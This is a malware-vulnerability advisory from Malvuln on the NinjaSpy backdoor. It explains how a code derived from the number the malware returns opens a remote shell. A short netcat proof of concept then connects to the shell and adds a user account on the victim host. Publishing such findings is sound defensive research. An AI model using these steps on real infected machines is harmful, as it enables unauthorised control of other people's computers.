Backdoor.Win32.NinjaSpy.c Authentication Bypass

Backdoor.Win32.NinjaSpy.c malware suffers from an authentication bypass vulnerability.


MD5 | 8aa0cadbd181fb8ff7496c48c2cdbef2

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/9f39606d9e19771af5acc6811ccf557f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NinjaSpy.c
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 2003, 2004 and drops a PE file named "cmd.dll" under Windows dir. Connecting to port 2003, you will get back a number "9951" from the infected host. If we send the value 1000 we get a message in Portugese "Pisca Pisca Ativado" translates to "Blink Blink Activated". If we connect to port 2004 and send "abc123" we get message "Acesso negado..." translates to "Access denied". However, if you take the initial number we received earlier (9951) when connecting to port 2003 and apply some calculation we expose hidden functionality. Take the 9951 value and invert the first two digits to 66 and then add together the last two 5 + 1 to equal 6 for a final value of "666". Example, initial number (9951) 99 inverted equals 66 and 5 + 1 = 6. Enter and send the constructed value of "666" to port 2003 and TCP port 999 is opened. Connect to port 999 and you get back a remote shell.
Family: NinjaSpy
Type: PE32
MD5: 9f39606d9e19771af5acc6811ccf557f
Vuln ID: MVID-2022-0552
Disclosure: 04/14/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 2004
test
Acesso negado...pwd

C:\>nc64.exe x.x.x.x 2003
9952666

C:\>nc64.exe x.x.x.x 999
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user hyp3rlinx abc123 /add
net user hyp3rlinx abc123 /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Related Posts